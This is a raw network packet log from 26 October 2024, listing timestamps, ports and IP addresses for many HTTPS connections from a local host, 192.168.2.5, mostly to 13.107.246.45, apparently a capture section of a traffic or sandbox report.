Oct 26, 2024 13:45:42.468838930 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.468900919 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.469136000 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.469151974 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.469186068 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.469192028 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.472546101 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.472584963 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.472670078 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.472847939 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.472860098 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.520503044 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.520665884 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.520833969 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.520872116 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.520872116 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.520889997 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.520903111 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.524596930 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.524631023 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.524715900 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.524914980 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.524931908 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.178286076 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.178877115 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.178915024 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.179605961 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.179614067 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.223929882 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.227488041 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.227505922 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.228221893 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.228234053 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.264508009 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.265058994 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.265075922 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.265568018 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.265573025 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.310911894 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.310941935 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.311007977 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.311018944 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.311080933 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.311319113 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.311338902 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.311355114 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.311362028 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.314759970 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.314800024 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.314932108 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.315097094 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.315112114 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.361917019 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.362013102 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.362108946 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.362420082 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.362420082 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.362443924 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.362451077 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.365755081 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.365788937 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.365945101 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.366066933 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.366094112 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.397936106 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.397998095 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.398077965 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.398087978 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.398134947 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.398197889 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.398746967 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.398753881 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.398777008 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.398782969 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.402282000 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.402306080 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:43.402461052 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.402544975 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:43.402555943 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.068353891 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.069020987 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.069046021 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.069555998 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.069562912 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.135581970 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.136163950 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.136176109 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.136732101 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.136737108 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.153923035 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.154434919 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.154447079 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.154973030 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.154977083 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.203351021 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.203516960 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.203917027 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.203917027 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.203953981 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.203970909 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.208393097 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.208416939 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.208648920 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.208648920 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.208673000 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.270049095 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.270406008 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.270525932 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.270606041 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.270606041 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.270628929 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.270639896 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.273838997 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.273878098 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.274012089 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.274286985 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.274305105 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.288759947 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.288829088 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.288984060 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.289196968 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.289205074 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.289253950 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.289258957 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.291781902 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.291795969 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.292015076 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.292016029 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.292037010 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.957909107 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.958555937 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.958586931 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:44.959171057 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:44.959177017 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.015299082 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.015945911 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.015976906 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.016447067 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.016453981 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.089524984 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.089600086 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.089696884 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.089714050 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.089780092 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.089896917 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.089917898 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.089931965 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.089939117 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.093759060 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.093795061 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.094019890 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.094019890 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.094058037 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.146460056 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.146544933 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.146656036 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.146778107 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.146790028 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.146841049 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.146847010 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.150017977 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.150044918 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.150108099 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.150597095 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.150609970 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.261184931 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.261856079 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.261893034 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.262425900 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.262433052 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.408911943 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.408940077 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.408988953 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.409022093 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.409075975 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.409315109 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.409332991 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.409344912 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.409351110 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.413834095 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.413891077 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.413999081 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.414232016 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.414247990 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.847371101 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.848225117 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.848246098 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.849067926 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.849073887 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.890213966 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.891048908 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.891069889 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:45.891511917 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:45.891516924 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.171142101 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.171334028 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.171488047 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.171643019 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.171652079 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.171669960 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.171693087 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.171700954 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.171720028 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.171792984 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.171926022 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.171926022 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.171945095 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.171956062 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.175545931 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.175554991 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.175574064 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.175590992 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.175652027 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.175693989 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.175896883 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.175901890 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.175903082 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.175909042 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.304553032 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.305207014 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.305232048 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.305752993 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.305758953 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.438815117 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.438880920 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.439023972 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.439224958 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.439224958 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.439250946 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.439264059 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.442677975 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.442779064 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.442996979 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.443197966 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:46.443218946 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:46.662992954 CEST	49865	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:45:46.663050890 CEST	443	49865	142.250.185.228	192.168.2.5
Oct 26, 2024 13:45:46.663203955 CEST	49865	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:45:46.663532019 CEST	49865	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:45:46.663552046 CEST	443	49865	142.250.185.228	192.168.2.5
Oct 26, 2024 13:45:47.114800930 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.115394115 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.115411997 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.116034031 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.116137028 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.116142988 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.116349936 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.116360903 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.116806984 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.116811991 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.247371912 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.247443914 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.247550964 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.247771978 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.247771978 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.247787952 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.247797012 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.250339985 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.250371933 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.250423908 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.250442982 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.250471115 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.250701904 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.250737906 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.250751972 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.250761032 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.251302958 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.251418114 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.251527071 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.251709938 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.251729012 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.253251076 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.253285885 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.253355026 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.253467083 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.253474951 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.253776073 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.254784107 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.254827976 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.255745888 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.255769014 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.383826971 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.383865118 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.383929014 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.383964062 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.384006977 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.384269953 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.384299994 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.384320974 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.384330988 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.387906075 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.387928963 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.388024092 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.388247013 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.388254881 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.516546011 CEST	443	49865	142.250.185.228	192.168.2.5
Oct 26, 2024 13:45:47.516953945 CEST	49865	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:45:47.516992092 CEST	443	49865	142.250.185.228	192.168.2.5
Oct 26, 2024 13:45:47.517457962 CEST	443	49865	142.250.185.228	192.168.2.5
Oct 26, 2024 13:45:47.517891884 CEST	49865	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:45:47.517978907 CEST	443	49865	142.250.185.228	192.168.2.5
Oct 26, 2024 13:45:47.567332029 CEST	49865	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:45:47.779767990 CEST	49869	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:47.779814005 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:47.779882908 CEST	49869	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:47.780268908 CEST	49869	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:45:47.780281067 CEST	443	49869	4.175.87.197	192.168.2.5
Oct 26, 2024 13:45:47.979605913 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.980375051 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.980421066 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:47.981041908 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:47.981053114 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.000368118 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.001018047 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.001060963 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.001713991 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.001728058 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.114238977 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.114320993 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.114439964 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.114733934 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.114758968 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.114794016 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.114801884 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.118657112 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.118715048 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.118804932 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.118963957 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.118976116 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.132478952 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.133029938 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:48.133061886 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:48.133085966 CEST	443	49868	13.107.246.45	192.168.2.5
